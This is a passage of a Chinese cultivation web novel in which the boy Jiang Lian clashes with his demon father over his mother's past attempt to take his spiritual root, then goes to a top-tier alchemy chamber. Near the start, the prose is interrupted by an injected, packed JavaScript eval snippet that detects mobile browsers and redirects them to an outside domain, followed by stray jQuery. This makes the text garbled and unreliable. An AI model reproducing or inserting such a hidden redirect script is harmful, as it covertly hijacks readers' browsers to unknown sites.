“现在知道喊爹了,刚才怎么不喊?”他爹拎鸡崽子似的把他拎进屋丢地上,“哭有什么用,蠢像。” 江敛敢怒不敢言。 “你们两个是江逢春生的,江逢春想怎么处置我不管。”他爹抱臂看他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385319|184158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有哭的功夫不如去修炼,只要你修为够高,谁能按着你拔你灵根?” 七岁这年,他撞破了家里最大的秘密,他娘要拔他灵根给他哥,他爹是藏在人族中的魔头,而他哥,这个家里唯一的正常人,已经脱离这个家庭远走高飞了。 后来他拼命修炼,明里暗里和他娘对着干,反抗他娘给他安排的一切。 他又不是真的贱骨头,怎么可能半点不记仇。 他哥叫江映,而他叫江敛。 凭什么他哥就能霞明玉映,而他就必须安分收敛。 那时候他还会为此感到伤心难过,会想要质问父母为什么不是单纯的出于爱他才生下他。 也曾头破血流拿到哥哥从前有过的一切荣誉,只为了证明自己不比他差。 但他们看向他的眼神依旧令他痛苦,他已经分不清那眼睛里到底是悔过怜爱,还是对一个不听话的孩子感到厌烦无奈。 但现在他已经不再那么执着于将这些东西分得清清楚楚。 过于执着的要求一份感情的纯净或许本来就是错的,人和人之间的靠近总有各种目的,没有人会毫无缘由的爱他。 至少他们最后也没真的对他下手,还在后来他出了那次意外后将他从濒死中救了回来。 第二天一早,又有人来砸门。 “你昨天说了什么?”他爹揪着他领子,满脸暴躁,“江逢春回去一直哭。” 江敛嘴里还吃着点心,扯了扯领子给自己顺下去:“说了点我娘不爱听的。” 他爹问:“你提你哥了?” 江敛:“昂。” 他爹抄起拳头就要锤他,江敛抬手挡住脸:“等等,等等等等,现在我哥不回家,我娘身边就我一个孩子了,你要给我打死了我娘可就不只是昨晚一直哭了。” 他爹咬了咬牙,拳头又收了回去:“你突然回来干什么,没事就滚。” “当然是有事才回来。”江敛指了指远处的丹房,“我要用丹房。” 他爹扔给他一块符牌,江敛看了看,扔回去:“我要天字号的。” “天字号的丹鼎用的都是排名前三十的异火,把你丢进去舍利子都能烧出来。”他爹毫不掩饰的嘲笑,“以你现在的修为用天字号修炼等于自寻死路。” 江敛道:“不是修炼,我要炼丹。” 他爹丢给他一块符牌,懒得多管:“随你吧,死了不关我的事。” 江敛收了符牌没再磨蹭径直去了丹房。 此处是单独辟出的一片山岭,光秃秃的除了每隔数丈才会出现的石室之外没有任何建筑和植被。石室皆是由天元石砌成,坚固无比,不会轻易因为炼丹时炸炉而坍塌。 石室之间也都是错开的,且相隔甚远,不会因为上方的石室坍塌而殃及下方。 石室分天地玄黄四品,寻常弟子用下方玄黄二品足矣,每升一品设一层禁制,越往上走,等级便越高。 江敛来到最高一层,按符牌上的序号找到那间丹房,打开进入。 不久后他要出一趟远门,出门前要做好万全的准备。